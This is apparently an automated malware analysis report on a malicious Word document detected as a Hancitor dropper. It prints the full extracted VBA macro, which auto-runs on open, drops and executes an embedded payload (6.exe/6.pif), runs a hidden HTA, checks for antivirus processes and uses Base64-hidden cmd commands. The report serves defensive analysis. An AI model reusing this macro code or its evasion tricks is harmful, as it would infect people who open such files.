Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ec7162f0dd1eab4…

MALICIOUS

Office (OLE)

259.0 KB Created: 2018-10-10 13:54:00 Authoring application: Microsoft Office Word First seen: 2018-11-05
MD5: 45230efa2ac42b1da4f5dd95bbfded37 SHA-1: f955495a4cddf3ab9172b99a5044ec0f92730854 SHA-256: 3ec7162f0dd1eab4849db9a24551a2bcee61e52a61bf4a8ba3d9598e96a5d2a3
720 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1027 Obfuscated Files or Information T1566.001 Spearphishing Attachment

This document contains VBA macros that execute upon opening, including a Document_Open subroutine. The macros utilize ShellExecute, LoadLibrary, and VirtualProtect APIs, and a Base64-decoded shell command stager is present. The presence of Ole10Native package dropping an auto-executable payload, combined with the ClamAV detection of 'Doc.Dropper.Hancitor-6774061-0', strongly indicates a dropper functionality. The decoded command 'cmd.exe /c ping localhost -n 100 &&' suggests an attempt to delay execution or establish a foothold before further action.

Heuristics 19

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Dropper.Hancitor-6774061-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Hancitor-6774061-0
  • XOR-encoded strings (key 0x78) critical SC_XOR_ENCODED
    Found 3 Windows library/API name(s) XOR-encoded with single-byte key 0x78: 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
    Disassembly
    x86 disassembly · validity: uncertain (0.584) — 0/5 branch targets land on an instruction boundary (0% coherence)
    00026273  3417              xor al, 0x17
00026275  191c34            sbb dword ptr [esp + esi], ebx
00026278  111a              adc dword ptr [edx], ebx
0002627A  0a19              or bl, byte ptr [ecx]
0002627C  0a01              or al, byte ptr [ecx]
0002627E  3978fb            cmp dword ptr [eax - 5], edi
00026281  b87bf1fd60        mov eax, 0x60fdf17b
00026286  87878720f3fd      xchg dword ptr [edi - 0x20cdf79], eax
0002628C  60                pushal
0002628D  87878728f335      xchg dword ptr [edi + 0x35f32887], eax
00026293  8829              mov byte ptr [ecx], ch
00026295  872da0f1fd4c      xchg dword ptr [0x4cfdf1a0], ebp
0002629B  878787289078      xchg dword ptr [edi + 0x78902887], eax
000262A1  7878              js 0x2631b
000262A3  7820              js 0x262c5
000262A5  93                xchg ebx, eax
000262A6  752e              jne 0x262d6
000262A8  110a              adc dword ptr [edx], ecx
000262AA  0c0d              or al, 0xd
000262AC  191439            sbb dword ptr [ecx + edi], edx
000262AF  1414              adc al, 0x14
000262B1  17                pop ss
000262B2  1b78fb            sbb edi, dword ptr [eax - 5]
000262B5  b87bf1fd40        mov eax, 0x40fdf17b
000262BA  87878720f3ed      xchg dword ptr [edi - 0x120cdf79], eax
000262C0  40                inc eax
000262C1  8787872af33d      xchg dword ptr [edi + 0x3df32a87], eax
000262C7  8828              mov byte ptr [eax], ch
000262C9  872da0f13dc0      xchg dword ptr [0xc03df1a0], ebp
000262CF  28                .byte 0x28
000262D0  90                nop
000262D1  7878              js 0x2634b
  • Raw OLE macro native-memory callback shellcode loader critical OLE_RAW_MACRO_NATIVE_MEMORY_CALLBACK_LOADER
    Raw OLE/VBA project text contains an auto-exec entry plus native memory allocation, process-memory write/copy, and callback/timer execution APIs. This catches source-stomped or partially recovered VBA loaders where the extracted macro source omits the auto-run entry, but the compiled/source project bytes still expose the in-memory shellcode loader triad.
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wsh = VBA.CreateObject(UserForm1.TextBox1.Text & UserForm4.TextBox1.Text & UserForm2.TextBox1.Text)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Open Environ("Temp") & "\1.hta" For Output As #1
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6528 bytes
SHA-256: 76c4454e6102794004230c7df6890f3b545e67e7a5187a50a8250fc22dcc5b20
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next


Call kfs
    


Call sdfsdf

 Set D = New DataObject
    D.SetText " "
    D.PutInClipboard
    Selection.MoveUp Unit:=wdScreen, Count:=7
   Selection.MoveUp Unit:=wdScreen, Count:=7
    Selection.MoveLeft Unit:=wdCharacter, Count:=13

  Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 3, t)


Call Module1.killo

End Sub

Private Sub Document_Close()
Call closee

End Sub

Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function

Attribute VB_Name = "Module1"
Sub killo()
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatXMLDocument
Application.Quit
End Sub

Attribute VB_Name = "Module2"
Sub closee()
  Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 15, t)

Dim kjfaa

kjfaa = "bd" & "agent.exe"
Dim yrtfdsad, vcxvxczcv
Dim mbbmbdf
Set vcxvxczcv = GetObject("wi" & "nmgmts:")
Dim gfdfsfsfs
Set yrtfdsad = vcxvxczcv.ExecQuery("SELECT * FROM Win32_Process")
Dim hdffsdfs
For Each x In yrtfdsad
Set wsh = VBA.CreateObject(UserForm1.TextBox1.Text & UserForm4.TextBox1.Text & UserForm2.TextBox1.Text)
Dim pipec As Boolean: pipec = True



 If x.Name = kjfaa Then
 Dim lhjxvcvx
 lhjxvcvx = StrConv(DecodeBase64(UserForm3.TextBox1.Text), vbUnicode)
 
Open Environ("Temp") & "\1.hta" For Output As #1
  Print #1, StrConv(DecodeBase64("PGh0bWw+DQo8aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode)
  Print #1, lhjxvcvx
  Close #1
  
ChDir Environ("Temp")
wsh.Run Environ("Temp") & "\1.hta", 0, False
Exit Sub
   End If
    
   
    If x.Name = "PSUAMain.exe" Then

  Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
   
       If x.Name = "n360.exe" Then

  Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
Next


Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYucGlm"), vbUnicode), vbHide


End Sub


Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function




Attribute VB_Name = "Module3"
Sub kfs()
Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveDown Unit:=wdScreen, Count:=7
 Selection.MoveRight Unit:=wdCharacter, Count:=24
    Selection.TypeBackspace
        Selection.Copy

End Sub

Attribute VB_Name = "Module4"

Sub sdfsdf()
ChDir Environ("Temp")


Selection.TypeBackspace

Call kklk
Call fadf
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function
Sub fadf()
kk = ".p" & "if"

   Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")

FSO.copyfile Source:="5C" & kk, Destination:="6" & ".pif"
End Sub


Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{98724B47-B6B1-4ACE-A61D-68A71704E485}{D4E86E16-6812-4454-A79B-F0F8445F873E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{6E5DDC7C-02D6-42D7-8C2B-464A67B87231}{5A3B6867-AEB6-42C7-947F-2780DE25BC20}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module5"
Sub kklk()
   
 ChDir Environ("Temp")
Dim kk, lll, jgf, tyretw, gdfsfsa

jgf = "x" & "e"

kk = ".p" & "if"
lll = "6" & ".e"
Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")


FSO.copyfile Source:="5C" & kk, Destination:=lll & jgf
End Sub

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{A8BE1721-343B-43FD-8170-3048F0850358}{F01B3F9F-3293-4142-91F9-90FF9B3DB8AA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm4"
Attribute VB_Base = "0{9273F296-A00B-40A9-BA2D-E27C576ACCC5}{EEC3516B-03C1-4094-89AD-1FE03D9AE4C2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1600659599/Ole10Native 95984 bytes
SHA-256: fd7410024c4bedb16ce9c44de1b9817c7366e3f3eea112bd8d318518ce317b7a
ole10native_00_5C.pif ole-package-payload OLE Ole10Native payload: ObjectPool/_1600659599/Ole10Native; display_name=5C.pif; full_path=C:\Users\Admin\AppData\Local\Temp\5C.pif; temp_path=; def_file= 95744 bytes
SHA-256: 0faba459f37dd11ad44631f644062421a9efed20b511279c9adfd0dc4729c0f5

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